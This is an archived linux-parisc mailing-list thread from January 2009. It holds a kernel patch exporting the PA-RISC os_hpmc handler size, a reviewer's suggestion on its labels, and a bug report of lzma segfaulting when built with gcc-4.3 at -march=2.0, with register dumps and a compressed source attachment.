Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, gmsoft@tuxicoman.be
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 02:36:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIvRi-0005Ha-VX
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 02:36:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758566AbZACBfm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 20:35:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758643AbZACBfm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 20:35:42 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57021 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758566AbZACBfl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 20:35:41 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIvQS-0006t9-1q; Sat, 03 Jan 2009 01:35:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1129>

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 2cbf13b..5595a2f 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -80,6 +80,7 @@ END(hpmc_pim_data)
 
 	.import intr_save, code
 ENTRY(os_hpmc)
+.os_hpmc:
 
 	/*
 	 * registers modified:
@@ -295,5 +296,10 @@ os_hpmc_6:
 	b .
 	nop
 ENDPROC(os_hpmc)
-ENTRY(os_hpmc_end)	/* this label used to compute os_hpmc checksum */
+.os_hpmc_end:
 	nop
+.data
+.align 4
+	.export os_hpmc_size
+os_hpmc_size:
+	.word .os_hpmc_end-.os_hpmc
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 4c771cd..cbf4794 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -821,8 +852,8 @@ void handle_interruption(int code, struct pt_regs *regs)
 
 int __init check_ivt(void *iva)
 {
-	extern const u32 os_hpmc[];
-	extern const u32 os_hpmc_end[];
+	extern u32 os_hpmc_size;
+	extern const u32 os_hpmc[];
 
 	int i;
 	u32 check = 0;
@@ -839,8 +870,7 @@ int __init check_ivt(void *iva)
 	    *ivap++ = 0;
 
 	/* Compute Checksum for HPMC handler */

From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] export length of os_hpmc vector
Date: Sat, 03 Jan 2009 10:24:33 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <495F2ED1.2000406@gmx.de>
References: <20090103013540.GG5181@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230974678 9235 80.91.229.12 (3 Jan 2009 09:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 09:24:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	gmsoft@tuxicoman.be
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 10:25:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJ2lP-0004A1-LK
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 10:25:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751924AbZACJYa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 04:24:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752168AbZACJYa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 04:24:30 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:37417 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751924AbZACJY3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 04:24:29 -0500
Original-Received: (qmail invoked by alias); 03 Jan 2009 09:24:26 -0000
Original-Received: from mnhm-590f7948.pool.einsundeins.de (EHLO halden.box) [89.15.121.72]
  by mail.gmx.net (mp069) with SMTP; 03 Jan 2009 10:24:26 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19OfkcAsZRORjQDRCWr+8kG7FSZni104mQPrnsfwi
	cRap9upWPHPvrI
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090103013540.GG5181@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1130>

Kyle McMartin wrote:
> diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
> index 2cbf13b..5595a2f 100644
> --- a/arch/parisc/kernel/hpmc.S
> +++ b/arch/parisc/kernel/hpmc.S
> @@ -80,6 +80,7 @@ END(hpmc_pim_data)
>  
>  	.import intr_save, code
>  ENTRY(os_hpmc)
> +.os_hpmc:

ENTRY(os_hpmc) already expands to
os_hpmc:

so you could

> +	.word .os_hpmc_end-.os_hpmc

change this to 
	.word .os_hpmc_end-os_hpmc
and drop the local label ".os_hpmc"

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: bad code with gcc-4.3 and lzma-utils ?
Date: Sat, 3 Jan 2009 07:45:01 -0500
Organization: wh0rd.org
Lines: 282
Approved: news@gmane.org
Message-ID: <200901030745.01638.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1416227.gWEVbZRAyx";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230986717 4210 80.91.229.12 (3 Jan 2009 12:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 12:45:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 13:46:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJ5tZ-0000mm-Th
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 13:46:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751308AbZACMpI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 07:45:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752786AbZACMpI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 07:45:08 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:60353 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751308AbZACMpF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 07:45:05 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 3B7B564D48
	for <linux-parisc@vger.kernel.org>; Sat,  3 Jan 2009 12:45:02 +0000 (UTC)
User-Agent: KMail/1.10.3 (Linux/2.6.28; KDE/4.1.3; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1131>

--nextPart1416227.gWEVbZRAyx
Content-Type: multipart/mixed;
  boundary="Boundary-01=_N31XJK8/yrtOc+6"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_N31XJK8/yrtOc+6
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

if you build lzma-4.32.7 with gcc-4.3 and -march=3D2.0, then lzma segfaults=
 when=20
trying to do anything useful.  gcc-4.1 has no problem here.

to reproduce, just download lzma-4.32.7.tar.gz and do:
tar xf lzma-4.32.7.tar.gz
cd lzma-4.32.7
CXXFLAGS=3D'-O1 -march=3D2.0 -g' ./configure
make
make check

Guy Martin narrowed it down to the code in src/sdk/7zip/Compress/LZMA/ ... =
if=20
we build the encoder/decoder without -march=3D2.0, then the tests pass and =
life=20
is peachy.  with a little bit of patience, i think i narrowed down a bit=20
further to the function CDecoder::SetDecoderProperties2().  we can build th=
e=20
rest of the file with -march=3D2.0, but when we build this function with -
march=3D2.0, then it craps out.  the code in question has a bit of funky ca=
sting=20
from a byte array up to uint32's, but i dont think this is an alignment iss=
ue.

i'm attaching the preprocessed file which can then be compared:
g++ -O1 -c LZMADecoder.i -march=3D2.0 -o LZMADecoder.bad.o
g++ -O1 -c LZMADecoder.i -o LZMADecoder.good.o

the kernel logs the fault like so:
do_page_fault() pid=3D15903 command=3D'lzma' type=3D15 address=3D0x00000063

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 0001b800 0001c217 00000005
r04-07  000320e8 00356e06 00000019 00040000
r08-11  000320b0 fb12c810 fb12c6c4 00000000
r12-15  fb12c6c0 00000000 00030790 fb12c010
r16-19  00030794 00029d74 0002a8a8 00000063
r20-23  00000000 00000400 00000003 fb12c9c8
r24-27  00100000 4008f008 00000003 0002fcbc
r28-31  00000060 00000000 fb12c980 00000000
sr00-03  00000006 00000000 00000000 00000006
sr04-07  00000006 00000006 00000006 00000006

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
=46PSR: 00000000000000000000000000000000
=46PER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  1267d000cfed0968 00000020101683f0 106238101061f810 bff0000000000000
fr08-11  fffff0001267d000 0000000200000003 0000000012729840 ffffff9c00000002
fr12-15  fb6ab02c00000001 000cc542101737c8 10101a281061f810 126840883b9aca00
fr16-19  104aed9c106238a8 fffffff412684208 105902f6105902f7 000000000000000b
fr20-23  1055d8100000000f 1055d810101687b4 0000000800000002 00001c2c00000000
fr24-27  0000000000000000 000000004ccd4eed fce2fc640b19f33d 8c4f289cb1314a9a
fr28-31  0701fb1163036696 8a9012eac57c0709 0701fb1100000228 0a4ed1f910111908

IASQ: 00000006 00000006 IAOQ: 0001b9f3 0001b9f7
 IIR: 0e751280    ISR: 00000006  IOR: 00000063
 CPU:        0   CR30: 93704000 CR31: 10600000
 ORIG_R28: 00000000
 IAOQ[0]: 0x1b9f0
 IAOQ[1]: 0x1b9f4
 RP(r2): 0x1c214
=2Dmike

--Boundary-01=_N31XJK8/yrtOc+6
Content-Type: application/x-bzip;
  name="LZMADecoder.i.bz2"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="LZMADecoder.i.bz2"

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
